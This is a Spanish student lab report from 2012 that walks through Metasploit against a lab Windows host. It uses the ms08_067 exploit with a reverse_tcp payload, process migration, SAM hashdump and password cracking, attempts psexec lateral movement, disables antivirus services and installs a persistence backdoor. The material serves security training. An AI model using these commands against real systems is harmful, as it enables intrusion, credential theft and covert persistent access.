2012

METASPLOIT
PRACTICA3

Javier Garca Cambronel SEGUNDO DE ASIR 22/01/2012

[METASPLOIT] 22 de enero de 2012

ACCEDIENDO A LAS CONTRASEAS DE WINDOWS

MIGRACIN A UN PROCESO DESCIFRANDO LAS CONTRASEAS OPHCRACK VS OTROS ACCEDIENDO A OTRAS MQUINAS PROBANDO DE OTRA FORMA IDENTIFICANDONOS CON CONTRASEA

DESACTIVANDO EL ANTIVIRUS NOD 32 VS AVAST

PERSISTENCIA O PUERTA TRASERA

CON ANTIVIRUS DESACTIVADO

SEGUNDO DE ASIR

Pgina 1

[METASPLOIT] 22 de enero de 2012

ACCEDIENDO A LAS CONTRASEAS DE WINDOWS

Bueno, Ahora vamos a utilizar el exploit ultra conocido ms08_067 el cual va a atacar el puerto 445 lo primero que hacemos ser ingresar el comando use windows/smb/ms08_067_netapi

Ahora vamos a utilizar una ataque reverse_tcp el cual nos va a conseguir en principio una sesin meterpreter

Vemos con show options los requerimientos necesarios para la ejecucin de este exploit y si son requeridos.

Entonces ahora lo que hacemos es seleccionar el host local que va a ser el atacante Set lhost 192.168.1.36 Tambin la direccin ip del equipo al que vamos a atacar Set rhost 192.168.1.35

SEGUNDO DE ASIR

Pgina 2

[METASPLOIT] 22 de enero de 2012

Y seguidamente lanzamos el exploit escribiendo exploit Vemos como la sesin se crea perfectamente

Entonces lo siguiente que hacemos es escibir el comando ps en meterpreter El comando 'ps' muestra una lista de los procesos ejecutandose en el objetivo.

SEGUNDO DE ASIR

Pgina 3

[METASPLOIT] 22 de enero de 2012

MIGRACIN A UN PROCESO Necesitamos estar (migrar) en un proceso que no tenga restricciones de acceso a la informacin sobre las cuentas (tiene que ser un proceso de System) y porque? Para comenzar debemos tener en cuenta que en Windows existen en realidad 3 tipos de cuenta de usuario y no 2 como siempre se cree, estos tipos son:

Cuenta limitada Administrador del sistema SYSTEM

Las dos primeras son muy conocidas por todo aquel que tiene un mediano conocimiento de Windows. La tercera, SYSTEM, es una cuenta a la que normalmente no se tiene acceso, es una cuenta creada por el equipo de Microsoft, como una super cuenta. Esta cuenta equivaldra a una cuenta Administradora de Administradores, como el -su de Linux. Tiene los permisos para hacer lo que sea en el sistema en otras palabras con esta cuenta te vuelves Rey de reyes. Aqu en el ejemplo, he escogido este proceso que cumple los requisitos.

Como vemos al intentar la migracin hacia ese servicio nos deniega el acceso, entonces intentamos otra migracin.

Lo intentamos con el proceso anterior, el cual tambin cumple con los requisitos

SEGUNDO DE ASIR

Pgina 4

[METASPLOIT] 22 de enero de 2012

Lanzamos el mdulo de captura de cuentas (hashdump) El post modulo 'hashdump' volcara los contenidos de la base de datos SAM. run post/windows/gather/hashdump

SEGUNDO DE ASIR

Pgina 5

[METASPLOIT] 22 de enero de 2012

DESCIFRANDO LAS CONTRASEAS COMPARATIVA Vemos que a nosotros la contrasea que no interesa sacar es esta, normalmente nadie tiene activada por defecto la cuenta Administrador que se detecta en Windows XP con ese nombre.

OPHCRACK VS SAM Inside

Vemos el tiempo que hemos tardado en adivinar admin como contrasea es de 25,34 segundos

Sam inside Ha sido instantneo es decir dos segundos a lo sumo.

SEGUNDO DE ASIR

Pgina 6

[METASPLOIT] 22 de enero de 2012

OPHCRACK VS ONLINE

Vemos que el tiempo en adivinar como contrasea Administrador es de 41,14 segundos

El desencriptador online me dice que pasword invlido pero para invlido esta utilidad que esta coja de opciones y de posibilidades y sus resultados son malos por no decir nulos. http://www.hash-cracker.com/index.php#anchor

SEGUNDO DE ASIR

Pgina 7

[METASPLOIT] 22 de enero de 2012

OPHCRACK VS PASSWORD PRO

Vemos que el tiempo en adivinar Asir2012 como contrasea ha sido de 49,31 segundos

Con PasswordsPro al cabo de 7 minutos no tenemos ningn resultado asique lo dejamos

SEGUNDO DE ASIR

Pgina 8

[METASPLOIT] 22 de enero de 2012

OPHCRACK VS GPU BRUTEFORCE VS SAMINSIDE

Vemos que al intentar descifrar la contrasea Asir.2012. No puede.

Probamos Con GPU BRUTEFORCE y vemos que tampoco puede eso si, nos da un falso positivo

Con SAMInside al cabo de 15 minutos y viendo lo que queda de anlisis lo damos por finalizado como que no ha sacado nada, pero es quiz el que ms posibilidades tiene debido a sus diccionarios.

SEGUNDO DE ASIR

Pgina 9

[METASPLOIT] 22 de enero de 2012

ACCEDIENDO A OTRAS MQUINAS

Ejecutamos el siguiente comando y escogemos ese exploit use windows/smb/psexec

Seleccionamos el PAYLOAD que vamos a utilizar set payload windows/meterpreter/reverse_tcp

Y configuramos todas las opciones que sean necesarias

En nuestro caso, los siguientes comandos

SEGUNDO DE ASIR

Pgina 10

[METASPLOIT] 22 de enero de 2012

Seleccionamos el nombre de usuario

Y especificamos la contrasea sin desencriptar pues lo tendra que hacer automticamente

Iniciamos el exploit, pero vemos que la sesin no se crea

Entonces probamos, poniendo la contrasea ya desencriptada, pues ya sabamos que era admin y volvemos a probar, como vemos nos da el mismo error lo cual demuestra que no es un error de desencriptacin de la contrasea.

SEGUNDO DE ASIR

Pgina 11

[METASPLOIT] 22 de enero de 2012 PROBANDO DE OTRA FORMA IDENTIFICANDONOS CON CONTRASEA

Esta vez escogemos el siguiente exploit

Y configuramos todas sus opciones como vemos en la siguiente imagen

Intentamos la conexin y vemos que las tres veces que nos intentamos identificar, no resulta da resultado

POR QUE NO VAN? Tengo mi teora. Buscamos las caractersticas de estos y vemos que son lo suficiente antiguos para que no se ejecuten en nuestro Windows.

SEGUNDO DE ASIR

Pgina 12

[METASPLOIT] 22 de enero de 2012

DESACTIVANDO EL ANTIVIRUS NOD 32 VS AVAST

Ejecutamos el siguiente comando y vemos que se ejecuta y se queda detectando un posible antivirus y vuelve a salir a la consola de meterpreter. Entonces lo que hacemos es pensar que a lo mejor por ser un antivirus nuevo y que tiene proteccin ante estos ataques.

Nos vamos al Equipo de la vctima y como podemos apreciar el servicio est iniciado

Pero bueno, no desesperamos, no deja de ser un servicio entonces ejecuto el comando Shell para abrir una consola en el ordenador remoto, el de la vctima

Con el comando net start miro todos los servicios que se estn ejecutando hasta que damos, con el que pertenece a nuestro Antivirus

SEGUNDO DE ASIR

Pgina 13

[METASPLOIT] 22 de enero de 2012

Entonces, con el comando net stop ESET Services lo intentamos parar, pero como vemos no nos deja y nos dice que esta opcin no est permitida.

Como podemos ver nos vamos a las opciones dentro del ordenador de la vctima y no tenemos la opcin de detener el servicio, pese a tener, derechos de Administracin en el sistema.

Sin embargo probamos con AVAST y con un par de simples comandos lo hemos desactivado con lo que en esta batalla de antivirus el ganador Habra sido NOD32 asique procedemos de nuevo a su instalacin ;) .

SEGUNDO DE ASIR

Pgina 14

[METASPLOIT] 22 de enero de 2012

PERSISTENCIA O PUERTA TRASERA

La utilidad persistence instala un agente que requiere especificar cundo se lanza (-X en el momento del arranque de la Seguridad de la mquina), que espere 50 segundos (-i 50) antes de reintentar la conexin, el puerto que se va a ejecutar (-p 444) y la mquina remota (-r). run persistence -X -i 50 -p 444 -r 192.168.1.35

La nica forma de eliminar el agente es borrar el script que se ha instalado en C: \windows\temp, y la entrada que se ha hecho en el registro HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ con la extensin que vemos

Reiniciamos la mquina y vemos que el antivirus ha detectado el archivo malicioso y lo ha eliminado.

SEGUNDO DE ASIR

Pgina 15

[METASPLOIT] 22 de enero de 2012

ANTIVIRUS DESACTIVADO Volvemos a repetir los pasos pero esta vez con el antivirus desactivado Siempre que quisiramos acceder al sistema segaramos los siguientes pasos Ejecutamos el siguiente comando desde la consola de metaspoit use exploit/multi/handler

Introducimos el payload correspondiente set payload windows/meterpreter/reverse_tcp Y miramos las opciones pues para acceder al sistema ahora los requisitos han cambiado y como podemos ver requiere de el puerto del proceso.

Entonces se lo indicamos con el comando lport y el nmero del proceso, en este caso seria set lport 444 Si esto fuera una nueva sesin en la que no tuviramos indicada la ip de nuestra victima, lo haramos como en la siguiente imagen.

Y ya solo nos quedara lanzar el exploit y ver como accedemos a una sesin en nuestra vctima y ya tendramos la sesin abierta donde escuchar las conexiones.

SEGUNDO DE ASIR

Pgina 16